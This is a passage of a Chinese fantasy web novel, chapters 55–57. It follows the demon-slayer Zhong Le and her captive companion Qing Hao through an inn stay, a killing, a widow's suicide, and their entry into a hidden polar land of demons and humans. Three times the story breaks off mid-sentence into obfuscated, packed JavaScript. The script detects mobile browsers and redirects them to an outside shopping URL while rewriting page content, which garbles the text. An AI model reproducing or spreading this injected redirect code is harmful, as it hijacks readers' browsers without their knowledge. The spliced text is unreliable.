可是,在出发之前,钟乐也对那极地做过一些了解。 极地虽神秘,有进无出,但一直并未引起大家过多的关注。这是因为,这么长时间了,大家从未听说过极地妖怪伤人之事。 ——极地的妖怪们,从不出极地。 所以那块地方在大家眼中,并没有过多威胁。而钟乐,也就并不急着赶去那里除妖了。 再者,五岁之前,她一直待在白帝城,白帝城为妖帝所占之后,她又一直待在蓬莱岛。这些年来睡梦中都是仇恨,整日紧绷着刻苦修炼,不敢有丝毫懈怠,从未有时间领略过人间各地山水、品尝过人间四处美食。 此次离开白帝城,倒也是个难得的放松心情、游山玩水的好机会。 从白帝城往南,一路经过了寻乌镇、扶风镇,还有大大小小几个村落,便到了鹤都。 天色已晚,钟乐赶着马车进了城。 近些日子妖怪数量锐减,百姓生活重新和乐起来,不再疲于逃命、东躲西藏,来鹤都的游人也明显多了起来。 钟乐怕时候太晚,客栈都被订完,于是没来得及四处游赏,而是先找了家客栈去订房。 沿着长街走了数百米,她瞧着有家“来福客栈”外观大气整洁,十分不错,便进去,要了两间人字号客房。却没料到,客栈的小二好似对她颇有疑虑,时不时回头偷偷看她。 钟乐不明所以,而那小二,在第无数次回头之后终于眼前一亮,将毛巾往肩上一搭,拨云见日般大叫一声:“她!是她!” 来来往往的客人都被小二这一嗓子吸引,“啊?” “是谁?” 小二声嘶力竭:“天师——钟乐!!!” 这下可不得了了。有福客栈的掌柜亲自出马,热泪盈眶的将她那两间人字号改成了天字号,房间典雅舒适,紫檀木桌椅,一面屏风将其与床帷隔开。屏风旁摆放着青翠修长的富贵竹,竹子正对着一扇窗,推开窗户,可见大片雾气缭绕的湖泊和沼泽,上有几只优雅的白鹤,亭亭玉立,美丽动人。 钟乐咕咕叫着逗那白鹤玩了一会儿,掌柜的又来了,身后带着一众大厨,每人怀中都端满了菜,碟子摞着碟子。 只见掌柜的一声令下,各位大厨如会功夫一样,嗖嗖嗖的将怀中菜摆上了桌,并每放一种便同时介绍这道菜的特色与风味,钟乐傻呆呆的看着一张张嘴皮子一动一动,肚子咕咕作响,却迫于大家的热情,只能满面春风的微笑,不停点头再点头。 总算是介绍完了所有菜色,钟乐终于可以拿起筷子,一饱口福。 可是,当看清碟子里的菜,她却傻了眼。 原来,就像白帝城的特产是各种熠熠生辉的宝石,鹤都四面环水,多江洋湖海、多沼泽,因此特产是各色海错。 可是,这却恰恰是钟乐不喜欢吃的。 她举着筷子,抬头一瞧,掌柜的和各位大厨两眼发光,充满期许。而房门外,挤满了双眼闪闪发光的、想要一睹天师风采的客人们。 钟乐不动声色的叹了口气,下手,豁开一筷子烤鱼,腾腾的热气冒出来。 “这是新鲜捕来的草鱼,用料酒和姜黄腌制了两个时辰去腥,再洒上精盐、辣椒、孜然粉面,放在炭火上炙烤。这烧的炭啊,也大有讲究,是咱这鹤都一种稀有的青冈木所制成的木炭,一烧起来,火旺而无烟,甚至,有一种草木的微苦和清香,一起融入这烤鱼中。待烤好了,再用热油爆炒八角、桂皮、紫苏、乡野、红白豆蔻等,做成浇头,从原先的刀口上细细的灌进去,这样,既能保证鱼的表皮不会被烫烂,也能让鱼肉也被浸透,不会干而无味,确保每一口,都是鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接着,在掌柜和大厨们的极力推荐下,钟乐分别又品尝了一口生蚝,蒜香弥漫,不错。一口清汤鲍鱼,鲜嫩细腻,不错。一口蛋蒸鱼翅,纯嫩鲜香,不错……滋味都十分不错,只是——一口,都是一口! 一顿饭吃完,饱是没饱,饿倒是很饿! 只是,掌柜的已经十分热情的将菜又撤了下去,并叫来两个丫鬟伺候钟乐沐浴。 钟乐累及饿极,任两个小丫鬟将自己带入她这房的套间中,只见水已放好,蒸汽环绕,上面浮沉着朵朵鲜妍的玫瑰花瓣。钟乐软绵绵的滑下去,昏昏欲睡间,感觉到两双柔弱无骨的手,细致的搓洗着她的头发,并将水浇在她的肩上,又一会儿后,一些薄而柔软的衣料滑过她的皮肤,半梦半醒间,她被扶到了床上,半卷天青色的罗帐放下来,她沉沉睡了过去。 毫无疑问,钟乐没能一夜无梦,直到天明。因为她又被饿醒了。 她摸着咕咕作响的肚子,打算摸黑去厨房里,想了想,那些菜没几个好下口的,于是,她决定去厨房偷一碗鱼汤来,泡着馒头吃。 不过此时夜已深,那些残羹剩饭,恐怕都已经凉了。但不管了,反正无论如何,今晚她都要大口吃饭,不受注目的、狼吞虎咽的,吃饱饭! 钟乐躺在床上,两腿伸出去,摸索着在床下踢了半天,都没找到自己的鞋,她颇为纳闷,正想爬起来探出头看,忽然,准确的踢到了鞋子。就好像方才它故意使坏和她躲猫猫,而此时却又十分乖觉的主动贴了上来。 钟乐满意的趿好鞋子,慢吞吞从床上坐起来,再打个呵欠,伸个懒腰。 站起来走了两步,她才发现自己的头发被洗的顺滑发亮,如瀑布般垂落背后。而身上的衣服,像是寝衣,十分薄而柔软,但又不失飘逸,走起来衣角飘飞,如淡紫色的烟雾。 钟乐本来十分的自在,但当走到屏风旁边,她发现那边竟点着一支蜡烛,一个淡淡的影子映在屏风上,饭菜的香味悠悠传来,勾的她肚子一跳一跳。 钟乐忙推开屏风。 “清、清颢?” 烛火下,清颢回过头,微笑:“醒了?怕你饿着,我来送点饭。” 58. 第55章 作为钟乐的同伴,清颢自然也受到了同等热情的对待。当然,同样的,这热情有些太过分,所以清颢也同样没有吃饱。 钟乐坐下来,看到方才那些饭菜都已被热过,微微泛着白气,此刻吃来正好。而且,十分贴心的是,清颢将那些鱼都挑好了刺,整整齐齐摆放在碟子里,同样,蟹膏蟹肉也都剔好装在蟹壳里,蛤蜊、明虾等也都剥去了壳,整齐放在一边。 “麻烦了。”钟乐咽口口水,往热过的白米中倒了些菜里面的汤汁,拌一拌,然后大吃起来。 钟乐不喜吃海错,其实是因为一个很懒惰的理由。 她认为,人的一生,就该潇洒豪迈,大口喝酒,大碗吃肉,还有,用大刀砍妖怪。而海错嘛,大多得剥壳,挑刺,吃起来不够痛快。 而此时,有人将这一切都做好了,她自然没了嫌弃的理由,乐得吃了。 回锅再热一次的饭菜,比新鲜出锅的饭菜更加入味,每一粒米都浸透了金黄的油汁,咬到口中,鲜香四溢,钟乐吃的两腮鼓鼓的,一口还没咽下去就又急着去扒拉另一口,恨不能连舌头都一起咬下去。 清颢喜吃清淡,为自己煮了碗清粥,此时他用瓷勺子轻轻搅拌,散去其热气后,舀一口喝下去。 “放了我吧。” 钟乐一下子停住了:“你说什么?” 清颢神情很平静,就好像他的要求一点也不过分似的。 他说:“放了我吧。” 钟乐一下子索然无味,放下筷子,冷冷的说:“所以,这就是你今晚来找我的原因?” 清颢徐徐的搅动着热粥,不慌不乱。 “放了我吧,”他说,“你知道的,我无意杀人,今后也无意复仇。” 钟乐挑起眉:“那你想做什么?” 清颢想了想,认真的说:“我想去一个没有人的地方,隐居,日出而作,日入而息,每日喝喝茶,看看书,浇浇花,欣赏天边的晚霞,还有瞬息万变的流云。我不会打扰任何人,也永远都不会离开那个地方,可以吗?” 钟乐都不知道说什么好了。他是妖帝的儿子,本该在那一夜就死在白帝城,或者是死在衡阳的折磨中,是她一力保全了他。她带他离开白帝城,掩去他身上的妖气,将他当做平常凡人对待,就这样,他竟还觉得不够? “待在我身边,就这么让你难受?” 清颢摇头:“不是因为你,我只是想要……自由。” 自由?钟乐冷笑:“我限制了你的自由?” 话一出口,忽然想起他身上有子母咒,的确是限制了他的自由。她噎了一下,道:“至少,比起失去自由,你还活着。” 妖帝,拜鬼忧,还有宣离,他们都已经死了,而他却活着,这不比他口中的自由好吗? 或许,知道钟乐不可能答应他,清颢闭上眼静坐了一会儿,再睁开眼时,便已恢复如常,温声说道:“我知道了,你还未吃饱,再多吃些吧。” “不必了!”钟乐冷冷说道。 怪不得他突然如此贴心,原来是怀着这样的目的。无功不受禄,她不可能放了他,这饭也不用再吃了! 可是,清颢却微微一笑,温和的道:“即使不放了我,也不要饿着。” 他这么一说,钟乐倒是别扭起来了。她有心掀了桌,冷冷的让他滚,可是,到底舍不得这满桌味道鲜美的饭菜。僵持半晌,清颢轻轻掩上门,出去了。 “……”钟乐坐下来,拿起筷子继续埋头大干。 半个时辰之后,所有碟子都被清扫的锃光瓦亮,钟乐瘫在椅子上,捧着肚子,满足的叹了一口长气。 现在胃中沉甸甸的,想睡也睡不着了,她推开窗户,很轻巧的飞跃出去,打算四下转悠着消消食。 夜已深,街上行人很少,有一个守夜人提着灯笼、敲着梆子经过。因雾气太浓,那盏灯笼掩在白雾中,影影绰绰的,瞧不真切,倒像是萤火虫。 “姑娘!姑娘!”背后有人喊她。 钟乐停下来:“怎么了?” 大雾中,渐渐出现一个人影来,只见是个面容憨厚老实的男人,拎着一串五颜六色的纸筒子,搓着手,十分不好意思的道:“下雨了,姑娘可要买把伞?” 哦?钟乐这才察觉,空中的确飘着细细的雨丝,她的头发和衣服都有些淋湿了。只不过这鹤都多水,空气本就潮湿,雾气又重,她方才并未觉察出来。 “这么晚了,街上都没有几个行人,你还在卖伞?”她说着,挑拣了一只红色的纸筒,拧开盖子,从里面拿出一把做工精细的红色油纸伞。 男人有些结结巴巴的说:“家……家里孩子多……” “就这把吧。”钟乐付了钱,将伞撑开,在手中转了两圈。 男人双手接过钱,对她歉疚的连点几下头,转过身,像是有什么急事一般,匆匆就要离去。钟乐却唇边浮出一个微笑,手上一用力,那把红伞霎时便如旋转飞舞的刀一样,飞过去,干脆利落的切掉男人的头颅。 红伞又飞回钟乐手中。那具无头尸体僵立了几秒,轰然倒地。 街两旁的屋檐上,一个黑色身影快速逃窜。 钟乐冷笑:“区区小妖,不自量力。” 可正要去追,却忽然想起一件十分可怕的事:她竟忘了清颢不在她身边! 十丈……她现在已经离开有福客栈多远?! “算你侥幸,下次我若是再见到你,必叫你死无葬身之地。” 钟乐说完,忙以最快的速度回到客栈,推开清颢房门,只见他半跪在窗边,脸色苍白,口角有刚擦去的血迹。若是再迟片刻,他估计就元神破灭了。 而这窗户,两边都大开着,他只要站在窗边,就可以清晰看见她的身影。甚至方才,他很可能就亲眼看着她的背影越来越远,却不出一声! 钟乐怒极:“你就这样想死?” 清颢咳嗽道:“我、我以为是你想让我死。” 狡辩!她说过会让他活着的,方才她是忘了! 钟乐给他输了些法力,让他生出裂痕的妖丹重新愈合,道:“不会再有下次了,清颢,我不会让你死。” 清颢苦笑:“谢谢你。”但这副模样可不像是在道谢。 钟乐忽然凝神,细听之下,发现屋檐有轻微的响动,上面一定是栖落了一个什么东西。她倒是觉得有意思起来了,方才她放过了它,但没想到这只小妖自己不珍惜机会,又偷偷摸摸的来找她了。 钟乐对清颢道:“我看你也不是很喜欢这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233738|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明日一早,我们便出发吧。” 清颢应是,却看见钟乐脸上露出个狡黠的笑容来——她方才一句不过是诓那小妖,让它以为她还未察觉。 她聚起法力,朝着上方一掌拍出! 房顶登时破了个大洞,青瓦和沙土哗啦啦的落下来,还有一只黑乎乎的小东西也一同掉下来。 钟乐在她和清颢二人头顶撑起一个结界,优哉游哉的将那小黑东西捡起来。 原来是一只乌鸦。 而且,还是一只非常胖、非常胖的乌鸦。 钟乐哈哈大笑,弹了弹这乌鸦圆乎乎的肚子,又扯下它几根羽毛。 乌鸦被摔的晕头转向了一阵,清醒过来,发现自己尾巴上的毛都快被钟乐扯秃了,悲愤交加,恨恨道:“妖女,你去死吧!”说着,从钟乐手中挣扎出来,化成人形。 黑黑丑丑的乌鸦,化作人形也十分的平庸,一张扁平无奇的脸,就像是一块乏味无趣的牛皮糖。钟乐挑眉道:“妖女?明明你才是妖好吗?” “心狠手辣、胡乱杀人的就是妖女!我刚刚还看见你杀人了!”乌鸦妖叫起来。 她是说方才那个卖伞的男人。 他嘛,的确是个凡人,可是,谁叫他听这妖怪的话、故意分散她的注意力呢? 乌鸦妖瞧着钟乐这张脸,只觉得气血上涌,眼眶通红,她咬牙切齿的大叫:“总之,我今夜来,就是要杀了你的!!!” 她手心浮现黑色光团,狠狠向钟乐拍去,钟乐却指尖轻轻一点,就化解了她的攻击。乌鸦妖十分绝望,也愈发仇恨,她多么想自己变得好厉害好厉害,那样,她就能为主子报仇了,可是…… 望着那把向自己旋转而来的红伞,乌鸦妖知道钟乐要砍下自己的头。可这时候她却不害怕了,不管不顾的扑上去。 即使是死,她也要将自己的血溅在钟乐这个妖女脸上! 可是,预想中的疼痛并没有到来,因为一袭白衣替她挡住了红伞。 乌鸦妖惊叫道:“大殿下!” 锋利伞缘深深嵌进清颢的肩膀,鲜血汩汩流出,染红了他的白衣,十分刺目。可是,清颢却好像完全感觉不到疼痛一般,快速而不容置疑的说:“昭昭,走。” 乌鸦妖说:“我不走!” 清颢说:“她不会杀了我的,走。” 乌鸦妖泪流满面,深深看了他一眼,笨拙的跳出窗户逃走了。 钟乐气的咬牙切齿,狠狠扯住清颢的衣领:“昭昭?你认识她?她是为你而来?” 鲜血蜿蜒,染红钟乐的手。清颢神色平静,说:“不是,她是为宣离而来。” 宣离? 已经死在衡阳手中的宣离? 钟乐忽然一阵烦躁,一只妖而已,死了就死了,可是此时她怎么忽然有些不是味道? 清颢说:“她叫宋昭昭,自小便不受族人待见。有一次她遇到危险,是宣离救了她,并给她取了名字。自那之后,她感念宣离恩情,认他为主人,并许下诺言,说将来会报答他……”他失血过多,气息越来越弱,但仍很固执的说:“这只乌鸦妖并不作恶,可不可以……放过她?” 钟乐冷笑,靠近他耳边。 清颢听到她清楚的说:“不可能。” 59. 第56章 天光已大亮,听说昨夜钟乐为了除妖,不甚将屋顶打破之事,掌柜的感激涕零,表示区区一个屋顶算什么?有天师在此守护他们平安,可谓是他们三生有幸、祖上积德啊! 此时此刻,钟乐坐在新换的房间里,十分迷茫,也十分苦恼。 她本以为,妖怪都该是心狠手辣、无情无义的,可是,他们竟然也会懂得报恩,他们竟然也知道舍己为人,尤其,看到清颢救了那乌鸦妖,她觉得十分不解,也十分生气。 床上有窸窸窣窣的动静。 钟乐没好气的说:“起来,喝药。” 清颢不睁眼,装死。 钟乐用勺子敲碗沿,叮叮当当的响:“起来,喝药!” 清颢转身,背朝着她睡,无声又坚决的表明了自己的态度。 钟乐烦躁起来,走过去一把将他扶起,碗放在他嘴边,往里灌药,可是,清颢紧咬牙关,药水都顺着他的嘴角流了下来。 钟乐改用勺子喂他,可是,他紧抿唇,勺子也塞不进去。钟乐心烦意乱之余,不知怎么的,就想起宣离曾问过,她爱清颢吗? 她心想,妖是什么东西,也敢和人并论? 她又怎么会和一只妖有纠葛? 可是,这么纷纷乱乱的想着,她竟然做出了一个事后想起来自己都不可思议的举动:她赌气般含了一大口药,抬起清颢的下巴,狠狠堵住他的嘴唇,撬开他的牙齿,将药尽数喂了进去。 “……” 嘴唇分离,柔软冰凉的触感似乎还在,还有一些微微的发麻。钟乐心中已经惊涛骇浪,面上强作镇定,将药碗递给清颢。 这次清颢接了,低着头,掩藏了眼中复杂的神色。 钟乐大步流星,推开门离开这里,胡乱走了几步后又忽然想起她不能离开清颢十丈。这子母咒束缚住的不只有他,竟然还有她自己。 钟乐颓废的蹲在一边,胡思乱想着,回过神来,竟然发现她在无意识的摸她的嘴唇。她忙放下手,心想,她一定是太清闲了,以至于闲出问题来了。 她要找点事做,嗯,对,杀妖! 她得尽快赶路,去极地杀妖! 在有福客栈休养了两天,清颢的伤好了一些,钟乐便带着他再次出发了。 马车在街上走了一段路后,忽然有一群人闹哄哄的围了上来,最前面是一个穿着孝服的女人,面如死灰,跪在马车前,求钟乐为她丈夫主持公道。 钟乐停了车,问她:“何事?” 女人绝望的答:“妖怪,是妖怪杀了我的丈夫……”说着两行眼泪静静从枯槁的脸上流下来。 钟乐皱眉:“这里还有妖?” 却见有人将这女人丈夫的尸体抬了过来。 而那尸体—— 手中攥着五颜六色的纸筒,头颅的位置,则是空空荡荡。 女人麻木而又绝望的诉说着,说她丈夫每日晨起出门卖伞,晚上夕阳落下时归来,家中虽不富贵,可却其乐融融。但三天前,她丈夫出门后就一直没有回来,等她觉得不对劲开始寻找他时,最后找到的,竟是这样一具无头尸体。 最开始的不可置信已经过去,她没有歇斯底里,言语间十分平静,可却又有一种掩盖在平静之下的哀莫大于心死。 她的一对儿女,默默的跪在她的两边,抬起头注视着钟乐,单纯的大眼睛中充满了悲伤和恳求。 钟乐咳了两声,说道:“你起来吧,那妖已经死了。前两日我杀的那妖,正是杀了你丈夫的那只妖。” “谢谢天师。”女人顿时泪如雨注,执念解脱,神情渐渐轻快。她抹干泪,身子僵了一下,然后口角流出鲜血,直挺挺的倒了下去。 街上乱成一锅粥,她那双儿女大叫着喊娘,有人惊呼“她喝了耗子药”,有人抱着她往医馆赶,有人说来不及了,快抠嗓子眼,让她吐出来,又有人想起天师还在这里,顿时如见到希望般的大叫求天师救她……然而,在乱哄哄的吵闹中,钟乐已经悄悄的赶着马车离开了。 车厢中,清颢说:“是你杀害了那人吗?” 什么叫杀害啊?真难听,钟乐说:“我是为了除妖。” 清颢说:“你并不敢承认。” 钟乐:“……我傻啊?” 清颢又说:“其实你可以不杀了他。” 真啰嗦! 钟乐不耐烦的说:“要怪就怪你那只乌鸦妖吧。” 这下清颢终于安静了,钟乐赶着马车,一路向南,终于,在半个月后,到达了南海之滨。 深蓝色的海洋望不到边际,明月普照,金色的光纹随着水波一圈圈荡漾开来。钟乐眺望着远处,说:“穿过这南海,就到了极地了。” 清颢与她并肩而立,嗯了一声:“我们走吧。” 可是,钟乐忽然想起了一件事。 她斩杀妖帝,声名大噪,保不准,极地的妖怪们也听说过她、并且知道她的容貌。 但是,她却不想一入极地就立马成为妖怪们的敌人、和他们大打出手。 知己知彼,方能百战百胜,她决定先混入极地,了解一下情况再说。 思及此,钟乐用灵蝶给念念生传话,向他请教变幻容貌的法子,念念生休息的早,此时乍被吵醒,迷迷糊糊的爬起来教了她一个化颜咒。 钟乐掐灭灵蝶,十分欣喜的先给自己变,变作了一个两眼细眯、嘴唇肥厚,显得有些丑陋的女子。 接着她给清颢变,清颢的容貌变倒是变了,可是和原来差别并不大,仍旧清风明月,淡雅出尘。钟乐纳闷的说:“若说你我是一路来的,并不搭啊。” 她再捏灵蝶去问念念生,可是这次,念念生已经呼呼大睡了,灵蝶扑着翅膀在他脸边拍打,他翻个身,怨气颇重的将灵蝶打了一巴掌,给打散了。 “算了,就这样吧。” 她却不知道,念念生困倦之余,忘了嘱咐她,这化颜咒的使用是有时限的,若想一直保持变化后的容颜,须得像子母咒一样,每隔一段时日就重新施法、画咒。 而次日念念生醒后,挠着头百思不得其解,觉得自己昨晚忘记了一件事,可是,到底是件什么事,他却怎么也想不起来。于是这桩事就十分风轻云淡而又理所当然的,被抛之脑后了。 钟乐双手交叠施法,淡紫色的灵光闪过,只见海水向两边分开,一条小道出现其中。钟乐说:“走吧。” 两人踩着这条路进入茫茫大海,身后,海水又自动合到一起。 清颢仔细看了看这条路,发现它竟是一颗大树的枝干,旁边还缀着几朵洁白的小花,他伸手摘下一朵。 听说在人族文化中,有人死去之后,他们的亲人就会在鬓边、或是衣服上佩戴小白花。清颢将这朵小花贴在了袖口上。 走了没多久,他们的身后忽然传来一个大叫声:“喂!前面的!等等我!” 素不相识,钟乐才懒得管这人呢,可是,这个人更加起劲的挥舞着双手,像猴子一样上蹿下跳:“等我等我等等我啊!喂——你们也是要去极地的吗?” 钟乐脚步一停,合上的海水重新打开,这个人连忙欣喜若狂的跑上来。 “感谢公子,真是太感谢公子了!”这人瘦的像一根芦苇棒,但精气神却是十分足,且十分喜爱大笑,几乎让人时时刻刻都能看到他那一口白牙。 他抓住清颢连道感激,钟乐不满,分明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何得贵却挑剔的上下打量她一眼,说:“不行不行,你们这副模样绝对进不去,听说极地有结界,那结界比城墙还厚、比钢铁还坚固,即使是最近很厉害的那个人,叫什么钟、钟……”他冥思苦想。 清颢微笑:“钟乐。” “对,”何得贵恍然大悟的一拍手:“就是她!据说即使她来了,也没办法破开那结界。” 哦?竟这么厉害? 不过,倒也不是没有可能。 毕竟,那极地中可能潜伏着不少法力高强的大妖,他们合力所设的结界,的确可以坚不可摧。钟乐说:“那怎么进?” 何得贵絮絮叨叨说了这么多,此时忽然聪明的警惕起来了:“对了,你们为何要去极地?” 清颢沉默不语,钟乐忙笑说:“是我家公子,他本是一只妖——放心,你别怕,他是一只不作恶的妖。我家公子呢,他当妖怪当了很多年,会很厉害的法术,能够长生不老,可是,他却并不高兴。” 她回忆清颢曾说过的话,原原本本道:“他不喜欢这里。他想去一个没有人的地方隐居,日出而作,日入而息,每日喝喝茶,看看书,浇浇花,欣赏天边的晚霞,还有瞬息万变的流云。前不久,我们听说极地是个很清净的地方,或许我家公子会喜欢,所以,我们打算去一探究竟。” “这样啊。”何得贵看清颢面带苦笑,神情无奈,看来是真的十分厌世、想要去极地隐居了。 他拍拍胸脯,志得意满的说:“好,你们就跟着我走吧。” 忽然,海面上传来一个十分空灵、十分美丽的歌声。 60. 第57章 “是南海的鲛人!” 果然,只见不远处一块礁石上,有几个黑色的影子。走的近了,便可以看清他们海藻般顺滑的长发,还有波光粼粼的鱼尾。他们手中都拿着一只用贝壳粉末烧制而成的小梭子,在飞快的捕捉月光,将其化作丝线缠绕起来。 鲛人居于海底,未经风吹日晒,皮肤十分细腻雪白,吹弹可破。而他们的神情,也十分单纯而不谙世事。 “过路的客人,你们要去往哪里?”一个有着碧蓝色眼睛的女鲛人问道,手下缠线的动作不停。 这女人美啊!何得贵连忙抢着答道:“我们去极地!” 女鲛人礼貌的微笑点头,其实她并不真正关心极地是哪里,每个人都有自己的去处。 何得贵呲牙,十足笑出了一根芦苇棒的精气神,他搭讪说:“你们每天织线,不累吗?” 女鲛人摇摇头说:“我们喜欢这样,所以不觉得累。” 钟乐想起她曾穿过的嫁衣,那是由一匹十分晶莹剔透、美丽绝伦的鲛锦所缝制。宣离说,织出那匹鲛锦的鲛人是个十分固执而追求完美的人,他用一生的时间织了一匹锦。 不知为什么,钟乐有些说不出来的惆怅。 他们和鲛人道别,此时,却忽然有一位男鲛人说:“请等一等。” 那几个鲛人凑在一起,用唱歌般的语言交流半晌,然后那男鲛人说:“过路的客人,你们要去的地方,是否叫做极地?如果是的话,可否请你们帮忙寻找一个人?” 原来,半个月之前,有一个女人一步步走入南海,将自己淹没。 他们将她救了起来,生命是这世间和鲛锦一样璀璨美丽的东西,他们问她为什么要这样了结自己的生命。 女人很绝望的说,因为她失去了她的女儿,她的女儿就是她的生命。 “她说她的女儿名为小河,一月之前,被妖怪被抓去了极地。” 何得贵有些矛盾了,他一直倾向于相信极地是个好地方,老白在那里过的很好。可是现在,怎么又来了这么一出?极地妖怪们竟然还会抓小孩? 算了算了,反正已经答应这些鲛人,他们会帮忙寻找那小孩,是好是坏,进去看看就都知道了。 到了极地的结界边,顿时有一种寒冷之感,和南海的温暖湿润截然不同。而两地相距这么近,本来应该没有多大差异的。极地果真诡异。 何得贵故意将钟乐和清颢的衣服弄的十分破烂,还往清颢脸上糊了几把海岸边的泥沙,照他的意思,钟乐清颢二人的借口虽然说得通,但不够深刻。于是,他将他们二人的身份做了加工—— 钟乐名小乞儿,是他讨饭时从街上捡来的小流浪儿。 而清颢本是他家的公子,养尊处优,锦衣玉食,但无奈家道中落,世态炎凉,公子只能出来流浪。 而他自己,则俨然化身为一个忠仆。讨到了饭,宁愿自己饿肚子,也要让公子先吃。晚上到了天桥桥洞中,公子安然入睡,而他挺着单薄的身板为公子抵御寒风。 而捡到了小乞儿后,他就又多了一重慈爱大家长的身份,讨到了吃的,公子吃完,再给小乞儿吃,而他自己,就咂摸两口他们剩下的汤汤水水……何得贵越说越动情,讲到感人处,甚至泪珠点点,以袖拭面。 何得贵偷偷使眼色,钟乐挤出几点眼泪配合他,可心里却对这瘦乞丐十分怀疑,这算哪门子进入结界的办法! 结果没想到,何得贵如此絮叨了一番后,结界中隐约传来一个细细的、悲伤的哭泣声:“呜呜呜呜呜……呜呜呜呜呜……太惨了……” 钟乐:“……” 何得贵突然惊喜的大叫一声:“能进了!” 钟乐懵:“……” 就这样?极地妖怪们愿意让他们进去了? 她觉得这也太不可信了,可是,结界的确打开,让他们进来了。 冰天雪地,银装素裹,凛冽的寒风裹挟着冰渣子朝人脸上飞来,钟乐冷的连朝手心呵了好几口气。那个细细的嗓音还在哭:“呜呜呜呜呜,呜呜呜呜好惨啊……” 原来是一个毛茸茸的草团子,一双扑闪扑闪的大眼睛中不停流出泪水,打湿了它身上的草屑。 何得贵用手指戳了戳它,又惊又喜的一拍手:“真的,我来极地了!” 草团子呜呜点头:“可是你们怎么那么惨啊……呜呜呜……” 何得贵可顾不上惨不惨,他已经欣喜大叫着跑去找老白了。 钟乐端详这地方,只见一片冰雪中,有许多间小小的茅草屋,黯淡天际下,茅草屋中燃着橘色的温暖灯火。 “别哭了别哭了,”钟乐纳闷的说:“这里真的就是极地吗?” 草团子哭着说:“真的呀!你们怎么那么惨……外面没人要你们的话,你们就来我们这里住吧,呜呜呜呜呜……” 钟乐更加纳闷了,极地怎么会是这个样子?和她想象中的险境重重完全不同,这里简直只是一个平凡的小村庄嘛! 不过,当他们被草团子带到其中一个茅草屋中时,钟乐发现这里不平凡了。 只见小小的茅草屋中挤满了人,不……还有妖。 他们好像在争执着什么,分作两拨,气势汹汹的吵个不停。吵着吵着,一个章鱼妖化出一根长长的、黏腻的触手,将一个人倒吊在了空中! 被吊着的那人黑发散落,活像一只鬼,咬牙切齿的咆哮说:“我去他妈的!你去死!滚他妈的犊子玩意儿!” 章鱼妖被激怒了,另一根触手伸过来,有力的抽打起这个人。 钟乐看的怒气冲冲,不知妖物竟在此地如此猖狂,她思索要不要此时出手将他们都杀干净,但犹豫一下,还是决定先观察一会再说。 有一团火焰球砸过来,章鱼妖被烫的松开触手,被吊起的男人向地面坠落,有几个人吓的哇哇大叫。 但是很快,大叫就变成了赞许的掌声,因为有一个女妖怪英雄救美,接住了这个男人。 钟乐向草团子打听之后,才知道这女妖怪名夭夭,是只桃花树幻化而成的精怪,而那被吊起的男人名山根,是个捉妖师。 山根在来极地捉妖时遇到夭夭,结果与她相恋,于是不再杀妖、留在了这里。十日之后,他们就会举行大婚。 钟乐说:“既是大婚这样的喜事,那为何要吵起来呢?” 桃花妖夭夭很敏锐的听到了她的问题,一手抱着山根,一手指着她鼻尖,恶狠狠的说:“你?你向着谁?” 钟乐:“……” 她很懵,不知道现在是什么情况,还好草团子帮她解围:“夭夭姐姐,她是新来的。” “哦。”夭夭白了钟乐一眼,“怎么长这么丑?” 钟乐:“……” 夭夭很快又发现了清颢,这次她神色舒展一些,指着清颢鼻尖说:“这个也是新来的?长的不错。” 这妖虽是只桃花 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草团子说:“夭夭姐姐怎样都无所谓,但是章鱼伯伯在水里生活了很多年,一直想到天上去,所以他要求夭夭姐姐在天上办。可是,山根哥哥却要在地上办,因为他是个凡人,他怕自己从天上掉下来摔死。” 钟乐:“……” 草团子滔滔不绝,并说自己其实也想见识见识天上的风光。钟乐却对这群乱哄哄吵闹的人与妖失去兴致,推开茅草屋的门,走了出去。 她走之前,留心了一下清颢。他好像十分有兴趣,加入了要在天上办婚礼的一派,章鱼妖十分欣慰,用触手连拍他的肩膀。 月亮已经升起,将白雪映照的很亮。 远离了那间茅草屋,空气顿时冷冽清新起来,周围也安静下来,隐约还可听见一两声犬吠。 钟乐呵着气搓着手,走了几步,迎面碰上一个拄着拐杖、满头银发的老婆子。 这是个人。钟乐叫她:“阿婆。” 老婆子抬头,满脸皱纹,眼神慈和。她将钟乐端详了一会儿后,瘪着嘴笑说:“哎呀,新来的女娃娃。” 钟乐正也要笑,这老婆子忽然伸手掐了她一把。老婆子指甲又长又尖,捻起钟乐胳膊上的肉,疼的她龇牙咧嘴:“你干什么!” 老婆子叹气,以拐杖敲击地面,恨铁不成钢的说:“穿太薄了。” “你来,我有个袄子给你穿。” 她说的不容置疑,钟乐跟着她到了一个茅草屋里。这间倒是很清净,有一张草榻,一张案几,还有一个立体雕花柜。柜子颜色很暗,泛着古老的油光,老婆子将它打开,只见上面放着些瓶瓶罐罐,下面则是妥帖叠好的衣服。 老婆子从那些衣服中找出一件红色的对襟大棉袄,很小心的拍打了一下并不存在的尘土,呵了一口气,说:“你穿上,我看看。” 这衣服样式很老旧,且因棉花太多,显得有些臃肿。但钟乐的确是有些冷了,抖了抖就穿在身上。 老婆子眯着眼说:“好看。” 钟乐:“……” 暖和是挺暖和,但好看就算了吧。 